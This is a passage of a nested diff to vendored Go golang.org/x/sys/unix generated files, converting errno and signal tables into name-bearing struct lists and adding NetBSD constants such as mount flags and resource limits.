-+ {70, "ESTALE", "stale file handle"},
-+ {71, "EREMOTE", "object is remote"},
-+ {72, "ENOSTR", "device not a stream"},
-+ {73, "ETIME", "timer expired"},
-+ {74, "ENOSR", "out of streams resources"},
-+ {75, "ENOMSG", "no message of desired type"},
-+ {76, "EBADMSG", "bad message"},
-+ {77, "EIDRM", "identifier removed"},
-+ {78, "EDEADLK", "resource deadlock avoided"},
-+ {79, "ENOLCK", "no locks available"},
-+ {80, "ENONET", "machine is not on the network"},
-+ {81, "ERREMOTE", "unknown error 81"},
-+ {82, "ENOLINK", "link has been severed"},
-+ {83, "EADV", "advertise error"},
-+ {84, "ESRMNT", "srmount error"},
-+ {85, "ECOMM", "communication error on send"},
-+ {86, "EPROTO", "protocol error"},
-+ {87, "EMULTIHOP", "multihop attempted"},
-+ {88, "EDOTDOT", "RFS specific error"},
-+ {89, "EREMCHG", "remote address changed"},
-+ {90, "ENOSYS", "function not implemented"},
-+ {91, "ESTRPIPE", "streams pipe error"},
-+ {92, "EOVERFLOW", "value too large for defined data type"},
-+ {93, "EBADFD", "file descriptor in bad state"},
-+ {94, "ECHRNG", "channel number out of range"},
-+ {95, "EL2NSYNC", "level 2 not synchronized"},
-+ {96, "EL3HLT", "level 3 halted"},
-+ {97, "EL3RST", "level 3 reset"},
-+ {98, "ELNRNG", "link number out of range"},
-+ {99, "EUNATCH", "protocol driver not attached"},
-+ {100, "ENOCSI", "no CSI structure available"},
-+ {101, "EL2HLT", "level 2 halted"},
-+ {102, "EBADE", "invalid exchange"},
-+ {103, "EBADR", "invalid request descriptor"},
-+ {104, "EXFULL", "exchange full"},
-+ {105, "ENOANO", "no anode"},
-+ {106, "EBADRQC", "invalid request code"},
-+ {107, "EBADSLT", "invalid slot"},
-+ {108, "EDEADLOCK", "file locking deadlock error"},
-+ {109, "EBFONT", "bad font file format"},
-+ {110, "ELIBEXEC", "cannot exec a shared library directly"},
-+ {111, "ENODATA", "no data available"},
-+ {112, "ELIBBAD", "accessing a corrupted shared library"},
-+ {113, "ENOPKG", "package not installed"},
-+ {114, "ELIBACC", "can not access a needed shared library"},
-+ {115, "ENOTUNIQ", "name not unique on network"},
-+ {116, "ERESTART", "interrupted system call should be restarted"},
-+ {117, "EUCLEAN", "structure needs cleaning"},
-+ {118, "ENOTNAM", "not a XENIX named type file"},
-+ {119, "ENAVAIL", "no XENIX semaphores available"},
-+ {120, "EISNAM", "is a named type file"},
-+ {121, "EREMOTEIO", "remote I/O error"},
-+ {122, "EILSEQ", "invalid or incomplete multibyte or wide character"},
-+ {123, "ELIBMAX", "attempting to link in too many shared libraries"},
-+ {124, "ELIBSCN", ".lib section in a.out corrupted"},
-+ {125, "ENOMEDIUM", "no medium found"},
-+ {126, "EMEDIUMTYPE", "wrong medium type"},
-+ {127, "ECANCELED", "operation canceled"},
-+ {128, "ENOKEY", "required key not available"},
-+ {129, "EKEYEXPIRED", "key has expired"},
-+ {130, "EKEYREVOKED", "key has been revoked"},
-+ {131, "EKEYREJECTED", "key was rejected by service"},
-+ {132, "EOWNERDEAD", "owner died"},
-+ {133, "ENOTRECOVERABLE", "state not recoverable"},
-+ {134, "ERFKILL", "operation not possible due to RF-kill"},
-+ {135, "EHWPOISON", "memory page has hardware error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/breakpoint trap",
-- 6: "aborted",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "CPU time limit exceeded",
-- 25: "file size limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window changed",
-- 29: "resource lost",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/breakpoint trap"},
-+ {6, "SIGABRT", "aborted"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "CPU time limit exceeded"},
-+ {25, "SIGXFSZ", "file size limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window changed"},
-+ {29, "SIGLOST", "power failure"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_netbsd_386.go b/vendor/golang.org/x/sys/unix/zerrors_netbsd_386.go
-index b4338d5f..96b9b8ab 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_netbsd_386.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m32
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,netbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m32 _const.go
-
- package unix
-@@ -159,6 +159,7 @@ const (
- CLONE_VFORK = 0x4000
- CLONE_VM = 0x100
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -169,6 +170,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- CTL_QUERY = -0x2
-@@ -547,6 +550,10 @@ const (
- EV_ONESHOT = 0x10
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_CMD_START = 0x1
-+ EXTATTR_CMD_STOP = 0x2
-+ EXTATTR_NAMESPACE_SYSTEM = 0x2
-+ EXTATTR_NAMESPACE_USER = 0x1
- EXTB = 0x9600
- EXTPROC = 0x800
- FD_CLOEXEC = 0x1
-@@ -581,6 +588,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -970,6 +978,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -1008,6 +1020,43 @@ const (
- MAP_WIRED = 0x800
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_BASIC_FLAGS = 0xe782807f
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DISCARD = 0x800000
-+ MNT_EXKERB = 0x800
-+ MNT_EXNORESPORT = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x10000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_EXTATTR = 0x1000000
-+ MNT_FORCE = 0x80000
-+ MNT_GETARGS = 0x400000
-+ MNT_IGNORE = 0x100000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_LOG = 0x2000000
-+ MNT_NOATIME = 0x4000000
-+ MNT_NOCOREDUMP = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NODEVMTIME = 0x40000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_OP_FLAGS = 0x4d0000
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELATIME = 0x20000
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x80000000
-+ MNT_SYMPERM = 0x20000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0xff90ffff
-+ MNT_WAIT = 0x1
- MSG_BCAST = 0x100
- MSG_CMSG_CLOEXEC = 0x800
- MSG_CONTROLMBUF = 0x2000000
-@@ -1036,6 +1085,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_OIFLIST = 0x4
- NET_RT_OOIFLIST = 0x3
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1101,7 +1151,10 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-@@ -1576,137 +1629,145 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large or too small",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol option not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "illegal byte sequence",
-- 86: "not supported",
-- 87: "operation Canceled",
-- 88: "bad or Corrupt message",
-- 89: "no message available",
-- 90: "no STREAM resources",
-- 91: "not a STREAM",
-- 92: "STREAM ioctl timeout",
-- 93: "attribute not found",
-- 94: "multihop attempted",
-- 95: "link has been severed",
-- 96: "protocol error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large or too small"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol option not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
-+ {44, "ESOCKTNOSUPPORT", "socket type not supported"},
-+ {45, "EOPNOTSUPP", "operation not supported"},
-+ {46, "EPFNOSUPPORT", "protocol family not supported"},
-+ {47, "EAFNOSUPPORT", "address family not supported by protocol family"},
-+ {48, "EADDRINUSE", "address already in use"},
-+ {49, "EADDRNOTAVAIL", "can't assign requested address"},
-+ {50, "ENETDOWN", "network is down"},
-+ {51, "ENETUNREACH", "network is unreachable"},
-+ {52, "ENETRESET", "network dropped connection on reset"},
-+ {53, "ECONNABORTED", "software caused connection abort"},
-+ {54, "ECONNRESET", "connection reset by peer"},
-+ {55, "ENOBUFS", "no buffer space available"},
-+ {56, "EISCONN", "socket is already connected"},
-+ {57, "ENOTCONN", "socket is not connected"},
-+ {58, "ESHUTDOWN", "can't send after socket shutdown"},
-+ {59, "ETOOMANYREFS", "too many references: can't splice"},
-+ {60, "ETIMEDOUT", "connection timed out"},
-+ {61, "ECONNREFUSED", "connection refused"},
-+ {62, "ELOOP", "too many levels of symbolic links"},
-+ {63, "ENAMETOOLONG", "file name too long"},
-+ {64, "EHOSTDOWN", "host is down"},
-+ {65, "EHOSTUNREACH", "no route to host"},
-+ {66, "ENOTEMPTY", "directory not empty"},
-+ {67, "EPROCLIM", "too many processes"},
-+ {68, "EUSERS", "too many users"},
-+ {69, "EDQUOT", "disc quota exceeded"},
-+ {70, "ESTALE", "stale NFS file handle"},
-+ {71, "EREMOTE", "too many levels of remote in path"},
-+ {72, "EBADRPC", "RPC struct is bad"},
-+ {73, "ERPCMISMATCH", "RPC version wrong"},
-+ {74, "EPROGUNAVAIL", "RPC prog. not avail"},
-+ {75, "EPROGMISMATCH", "program version wrong"},
-+ {76, "EPROCUNAVAIL", "bad procedure for program"},
-+ {77, "ENOLCK", "no locks available"},
-+ {78, "ENOSYS", "function not implemented"},
-+ {79, "EFTYPE", "inappropriate file type or format"},
-+ {80, "EAUTH", "authentication error"},
-+ {81, "ENEEDAUTH", "need authenticator"},
-+ {82, "EIDRM", "identifier removed"},
-+ {83, "ENOMSG", "no message of desired type"},
-+ {84, "EOVERFLOW", "value too large to be stored in data type"},
-+ {85, "EILSEQ", "illegal byte sequence"},
-+ {86, "ENOTSUP", "not supported"},
-+ {87, "ECANCELED", "operation Canceled"},
-+ {88, "EBADMSG", "bad or Corrupt message"},
-+ {89, "ENODATA", "no message available"},
-+ {90, "ENOSR", "no STREAM resources"},
-+ {91, "ENOSTR", "not a STREAM"},
-+ {92, "ETIME", "STREAM ioctl timeout"},
-+ {93, "ENOATTR", "attribute not found"},
-+ {94, "EMULTIHOP", "multihop attempted"},
-+ {95, "ENOLINK", "link has been severed"},
-+ {96, "ELAST", "protocol error"},
- }
-
- // Signal table
--var signals = [...]string{
-- 1: "hangup",
-- 2: "interrupt",
-- 3: "quit",
-- 4: "illegal instruction",
-- 5: "trace/BPT trap",
-- 6: "abort trap",
-- 7: "EMT trap",
-- 8: "floating point exception",
-- 9: "killed",
-- 10: "bus error",
-- 11: "segmentation fault",
-- 12: "bad system call",
-- 13: "broken pipe",
-- 14: "alarm clock",
-- 15: "terminated",
-- 16: "urgent I/O condition",
-- 17: "stopped (signal)",
-- 18: "stopped",
-- 19: "continued",
-- 20: "child exited",
-- 21: "stopped (tty input)",
-- 22: "stopped (tty output)",
-- 23: "I/O possible",
-- 24: "cputime limit exceeded",
-- 25: "filesize limit exceeded",
-- 26: "virtual timer expired",
-- 27: "profiling timer expired",
-- 28: "window size changes",
-- 29: "information request",
-- 30: "user defined signal 1",
-- 31: "user defined signal 2",
-- 32: "power fail/restart",
-+var signalList = [...]struct {
-+ num syscall.Signal
-+ name string
-+ desc string
-+}{
-+ {1, "SIGHUP", "hangup"},
-+ {2, "SIGINT", "interrupt"},
-+ {3, "SIGQUIT", "quit"},
-+ {4, "SIGILL", "illegal instruction"},
-+ {5, "SIGTRAP", "trace/BPT trap"},
-+ {6, "SIGIOT", "abort trap"},
-+ {7, "SIGEMT", "EMT trap"},
-+ {8, "SIGFPE", "floating point exception"},
-+ {9, "SIGKILL", "killed"},
-+ {10, "SIGBUS", "bus error"},
-+ {11, "SIGSEGV", "segmentation fault"},
-+ {12, "SIGSYS", "bad system call"},
-+ {13, "SIGPIPE", "broken pipe"},
-+ {14, "SIGALRM", "alarm clock"},
-+ {15, "SIGTERM", "terminated"},
-+ {16, "SIGURG", "urgent I/O condition"},
-+ {17, "SIGSTOP", "stopped (signal)"},
-+ {18, "SIGTSTP", "stopped"},
-+ {19, "SIGCONT", "continued"},
-+ {20, "SIGCHLD", "child exited"},
-+ {21, "SIGTTIN", "stopped (tty input)"},
-+ {22, "SIGTTOU", "stopped (tty output)"},
-+ {23, "SIGIO", "I/O possible"},
-+ {24, "SIGXCPU", "cputime limit exceeded"},
-+ {25, "SIGXFSZ", "filesize limit exceeded"},
-+ {26, "SIGVTALRM", "virtual timer expired"},
-+ {27, "SIGPROF", "profiling timer expired"},
-+ {28, "SIGWINCH", "window size changes"},
-+ {29, "SIGINFO", "information request"},
-+ {30, "SIGUSR1", "user defined signal 1"},
-+ {31, "SIGUSR2", "user defined signal 2"},
-+ {32, "SIGPWR", "power fail/restart"},
- }
-diff --git a/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go
-index 4994437b..ed522a84 100644
---- a/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zerrors_netbsd_amd64.go
-@@ -1,9 +1,9 @@
- // mkerrors.sh -m64
--// MACHINE GENERATED BY THE COMMAND ABOVE; DO NOT EDIT
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,netbsd
-
--// Created by cgo -godefs - DO NOT EDIT
-+// Code generated by cmd/cgo -godefs; DO NOT EDIT.
- // cgo -godefs -- -m64 _const.go
-
- package unix
-@@ -159,6 +159,7 @@ const (
- CLONE_VFORK = 0x4000
- CLONE_VM = 0x100
- CREAD = 0x800
-+ CRTSCTS = 0x10000
- CS5 = 0x0
- CS6 = 0x100
- CS7 = 0x200
-@@ -169,6 +170,8 @@ const (
- CSTOP = 0x13
- CSTOPB = 0x400
- CSUSP = 0x1a
-+ CTL_HW = 0x6
-+ CTL_KERN = 0x1
- CTL_MAXNAME = 0xc
- CTL_NET = 0x4
- CTL_QUERY = -0x2
-@@ -537,6 +540,10 @@ const (
- EV_ONESHOT = 0x10
- EV_SYSFLAGS = 0xf000
- EXTA = 0x4b00
-+ EXTATTR_CMD_START = 0x1
-+ EXTATTR_CMD_STOP = 0x2
-+ EXTATTR_NAMESPACE_SYSTEM = 0x2
-+ EXTATTR_NAMESPACE_USER = 0x1
- EXTB = 0x9600
- EXTPROC = 0x800
- FD_CLOEXEC = 0x1
-@@ -571,6 +578,7 @@ const (
- F_UNLCK = 0x2
- F_WRLCK = 0x3
- HUPCL = 0x4000
-+ HW_MACHINE = 0x1
- ICANON = 0x100
- ICMP6_FILTER = 0x12
- ICRNL = 0x100
-@@ -960,6 +968,10 @@ const (
- IXANY = 0x800
- IXOFF = 0x400
- IXON = 0x200
-+ KERN_HOSTNAME = 0xa
-+ KERN_OSRELEASE = 0x2
-+ KERN_OSTYPE = 0x1
-+ KERN_VERSION = 0x4
- LOCK_EX = 0x2
- LOCK_NB = 0x4
- LOCK_SH = 0x1
-@@ -998,6 +1010,43 @@ const (
- MAP_WIRED = 0x800
- MCL_CURRENT = 0x1
- MCL_FUTURE = 0x2
-+ MNT_ASYNC = 0x40
-+ MNT_BASIC_FLAGS = 0xe782807f
-+ MNT_DEFEXPORTED = 0x200
-+ MNT_DISCARD = 0x800000
-+ MNT_EXKERB = 0x800
-+ MNT_EXNORESPORT = 0x8000000
-+ MNT_EXPORTANON = 0x400
-+ MNT_EXPORTED = 0x100
-+ MNT_EXPUBLIC = 0x10000000
-+ MNT_EXRDONLY = 0x80
-+ MNT_EXTATTR = 0x1000000
-+ MNT_FORCE = 0x80000
-+ MNT_GETARGS = 0x400000
-+ MNT_IGNORE = 0x100000
-+ MNT_LAZY = 0x3
-+ MNT_LOCAL = 0x1000
-+ MNT_LOG = 0x2000000
-+ MNT_NOATIME = 0x4000000
-+ MNT_NOCOREDUMP = 0x8000
-+ MNT_NODEV = 0x10
-+ MNT_NODEVMTIME = 0x40000000
-+ MNT_NOEXEC = 0x4
-+ MNT_NOSUID = 0x8
-+ MNT_NOWAIT = 0x2
-+ MNT_OP_FLAGS = 0x4d0000
-+ MNT_QUOTA = 0x2000
-+ MNT_RDONLY = 0x1
-+ MNT_RELATIME = 0x20000
-+ MNT_RELOAD = 0x40000
-+ MNT_ROOTFS = 0x4000
-+ MNT_SOFTDEP = 0x80000000
-+ MNT_SYMPERM = 0x20000000
-+ MNT_SYNCHRONOUS = 0x2
-+ MNT_UNION = 0x20
-+ MNT_UPDATE = 0x10000
-+ MNT_VISFLAGMASK = 0xff90ffff
-+ MNT_WAIT = 0x1
- MSG_BCAST = 0x100
- MSG_CMSG_CLOEXEC = 0x800
- MSG_CONTROLMBUF = 0x2000000
-@@ -1026,6 +1075,7 @@ const (
- NET_RT_MAXID = 0x6
- NET_RT_OIFLIST = 0x4
- NET_RT_OOIFLIST = 0x3
-+ NFDBITS = 0x20
- NOFLSH = 0x80000000
- NOTE_ATTRIB = 0x8
- NOTE_CHILD = 0x4
-@@ -1091,7 +1141,10 @@ const (
- RLIMIT_CPU = 0x0
- RLIMIT_DATA = 0x2
- RLIMIT_FSIZE = 0x1
-+ RLIMIT_MEMLOCK = 0x6
- RLIMIT_NOFILE = 0x8
-+ RLIMIT_NPROC = 0x7
-+ RLIMIT_RSS = 0x5
- RLIMIT_STACK = 0x3
- RLIM_INFINITY = 0x7fffffffffffffff
- RTAX_AUTHOR = 0x6
-@@ -1566,137 +1619,145 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "device not configured",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource deadlock avoided",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device busy",
-- 17: "file exists",
-- 18: "cross-device link",
-- 19: "operation not supported by device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "result too large or too small",
-- 35: "resource temporarily unavailable",
-- 36: "operation now in progress",
-- 37: "operation already in progress",
-- 38: "socket operation on non-socket",
-- 39: "destination address required",
-- 40: "message too long",
-- 41: "protocol wrong type for socket",
-- 42: "protocol option not available",
-- 43: "protocol not supported",
-- 44: "socket type not supported",
-- 45: "operation not supported",
-- 46: "protocol family not supported",
-- 47: "address family not supported by protocol family",
-- 48: "address already in use",
-- 49: "can't assign requested address",
-- 50: "network is down",
-- 51: "network is unreachable",
-- 52: "network dropped connection on reset",
-- 53: "software caused connection abort",
-- 54: "connection reset by peer",
-- 55: "no buffer space available",
-- 56: "socket is already connected",
-- 57: "socket is not connected",
-- 58: "can't send after socket shutdown",
-- 59: "too many references: can't splice",
-- 60: "connection timed out",
-- 61: "connection refused",
-- 62: "too many levels of symbolic links",
-- 63: "file name too long",
-- 64: "host is down",
-- 65: "no route to host",
-- 66: "directory not empty",
-- 67: "too many processes",
-- 68: "too many users",
-- 69: "disc quota exceeded",
-- 70: "stale NFS file handle",
-- 71: "too many levels of remote in path",
-- 72: "RPC struct is bad",
-- 73: "RPC version wrong",
-- 74: "RPC prog. not avail",
-- 75: "program version wrong",
-- 76: "bad procedure for program",
-- 77: "no locks available",
-- 78: "function not implemented",
-- 79: "inappropriate file type or format",
-- 80: "authentication error",
-- 81: "need authenticator",
-- 82: "identifier removed",
-- 83: "no message of desired type",
-- 84: "value too large to be stored in data type",
-- 85: "illegal byte sequence",
-- 86: "not supported",
-- 87: "operation Canceled",
-- 88: "bad or Corrupt message",
-- 89: "no message available",
-- 90: "no STREAM resources",
-- 91: "not a STREAM",
-- 92: "STREAM ioctl timeout",
-- 93: "attribute not found",
-- 94: "multihop attempted",
-- 95: "link has been severed",
-- 96: "protocol error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "device not configured"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EDEADLK", "resource deadlock avoided"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "cross-device link"},
-+ {19, "ENODEV", "operation not supported by device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "result too large or too small"},
-+ {35, "EAGAIN", "resource temporarily unavailable"},
-+ {36, "EINPROGRESS", "operation now in progress"},
-+ {37, "EALREADY", "operation already in progress"},
-+ {38, "ENOTSOCK", "socket operation on non-socket"},
-+ {39, "EDESTADDRREQ", "destination address required"},
-+ {40, "EMSGSIZE", "message too long"},
-+ {41, "EPROTOTYPE", "protocol wrong type for socket"},
-+ {42, "ENOPROTOOPT", "protocol option not available"},
-+ {43, "EPROTONOSUPPORT", "protocol not supported"},
